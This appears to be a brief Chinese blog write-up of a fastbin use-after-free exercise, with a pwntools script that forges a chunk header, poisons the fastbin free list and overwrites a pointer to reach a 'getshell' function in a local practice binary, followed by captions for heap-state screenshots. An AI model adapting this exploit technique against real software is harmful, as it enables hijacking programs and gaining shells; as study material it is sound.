Fastbin 堆溢出 Use After Free

爱被打了一巴掌 2022-08-28 11:00 8阅读 0赞

# shell 地址 #

![1][]

#-*- coding: utf-8 -*-
    from pwn import *
    
    elf = ELF('./fastbin')
    sh = process('./fastbin')
    
    getshell = 0x80487c6
    
    def Add(num):
    	sh.sendafter('choice:\n', '1')
    	sh.sendafter('id:\n', str(num))
    
    def Del(num):
    	sh.sendafter('choice:\n', '2')
    	sh.sendafter('id:\n', str(num))
    
    def Read(num, content):
    	sh.sendafter('choice:\n', '3')
    	sh.sendafter('id:\n', str(num))
    	sh.sendafter('content:\n', content)
    
    # p32(0)是填充malloc_chunk的prev_size
    # p32(0x29)是填充malloc_chunk的size
    sh.sendafter('Your name:\n', p32(0)+p32(0x29))
    sh.recvuntil('0x')
    buff_addr = int(sh.recv(8), 16)
    print(hex(buff_addr))
    
    payload = 'a'*32 + p32(0) + p32(0x29) + p32(buff_addr)
    
    Add(0)
    Add(1)
    Del(1)
    Read(0, payload)
    Add(1)
    Add(2)
    
    payload = 'a'*0x12 + p32(getshell)
    Read(2, payload)
    sh.sendafter('choice:\n', '4')
    
    sh.interactive()

两次运行Add后：  
![1][1 1]  
删掉1之后：  
![1][1 2]  
read后：  
![1][1 3]  
fd跟bin打印的堆地址一样：  
![1][1 4]  
pre\_size和size已经填充上：  
![1][1 5]  
又创建了一个node：  
![1][1 6]  
shell地址已被写入：  
![1][1 7]  
执行shell：  
![1][1 8]

[1]: /images/20220828/3a4c92216efb442eb8aab9697156a586.png
[1 1]: /images/20220828/9a79430f26a94c3383dbdb5dd429764d.png
[1 2]: /images/20220828/749cf7996aaa413392d0596fb78e7a5a.png
[1 3]: /images/20220828/834d40076ec14cadb6da85716d780b25.png
[1 4]: /images/20220828/116dc74b4e5243f69c6316d26e381185.png
[1 5]: /images/20220828/6b15c49213ed4407b06b2a0a4b0c0cd8.png
[1 6]: https://img-blog.csdnimg.cn/f525ab0a2b104beca537b8bef7c152ce.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5bCP6b6Z5Zyo5bGx5Lic,size_20,color_FFFFFF,t_70,g_se,x_16
[1 7]: https://img-blog.csdnimg.cn/bd8631e981264a2e800aeec159db0da2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5bCP6b6Z5Zyo5bGx5Lic,size_20,color_FFFFFF,t_70,g_se,x_16
[1 8]: https://img-blog.csdnimg.cn/af07943cc5d6427f94a4c036f7f6f6d0.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5bCP6b6Z5Zyo5bGx5Lic,size_20,color_FFFFFF,t_70,g_se,x_16